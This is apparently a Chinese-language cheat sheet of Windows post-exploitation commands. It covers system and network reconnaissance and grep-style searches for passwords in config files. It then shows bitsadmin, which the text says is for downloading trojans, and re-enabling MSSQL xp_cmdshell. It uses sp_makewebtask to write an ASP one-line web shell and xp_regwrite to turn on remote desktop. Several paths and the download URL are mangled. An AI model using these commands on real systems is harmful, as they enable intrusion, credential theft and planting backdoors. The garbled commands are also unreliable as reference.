2023年12月3日发(作者：)

windows渗透命令1. 获取操作系统信息systeminfo2.获取ARP缓存信息：arp -a结果：接口: 169.254.249.47 --- 0xc Internet 地址 物理地址 类型 169.254.255.255 ff-ff-ff-ff-ff-ff 静态 224.0.0.22 01-00-5e-00-00-16 静态 224.0.0.251 01-00-5e-00-00-fb 静态 224.0.0.252 01-00-5e-00-00-fc 静态 239.255.255.250 01-00-5e-7f-ff-fa 静态 255.255.255.255 ff-ff-ff-ff-ff-ff 静态3. 查看服务进程idtasklist / 9508 暂缺 2216 暂缺 11616 暂缺 11520 暂缺 11336 暂缺 11408 暂缺 1672 暂缺 11744 暂缺 11936 暂缺notepad++.exe 12716 暂缺 13504 11376 暂缺 5440 暂缺 6136 暂缺 13756 暂缺 11276 暂缺 1324 暂缺 4560 暂缺 5552 暂缺 13384 暂缺 13928 暂缺4.查看服务、进程和启动程序信息： wmic service list brief

wmic process list brief wmic startup list brief这三个命令十分强大。不过在win8下面好像被禁了。5.敏感数据和目录 dir /b/s dir /b/s config.*

findstr /si password *.xml *.ini *.txt findstr /si login *.xml *.ini *.txt前两个命令是查文件的，比如在ctf比赛中，可以查或者flag.*后两个是是查找文件中的字符串。6. 文件下载bitsadmin /transfer n /file/ c:pentest 可以用来下载木马什么的。不过速度确实不怎么快，用于下个小文件。相关说到这个，就必须要介绍xp_cmdshell了，通过该存储过程可以在数据库服务器中执行任意系统命令。MSSQL2005,2008等之后版本的MSSQL都分别对系统存储过程做了权限控制以防止被滥用。xp_cmdshell默认在mssql2000中是开启的，在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;exec sp_configure开启后可以执行语句：sp_makewebtask写入一句话如果未启用Web Assistant ProceduresSQLServer 阻止了对组件 'WebAssistant Procedures' 的 过程'_makewebtask' 的访问，因为此组件已作为此服务器安全配置的一部分而被关闭。开启:exec sp_configure 'Web AssistantProcedures', 1; RECONFIGURE写入木马：exec sp_makewebtask 'c:','select''<%execute(request("ruo"))%>'''注册表操作启用存储过程:exec sp_addextendedprocxp_regread,''查看远程桌面开启exec xp_regread'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminalServer','fDenyTSConnections'开启远程桌面exec xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminalServer','fDenyTSConnections','REG_DWord',0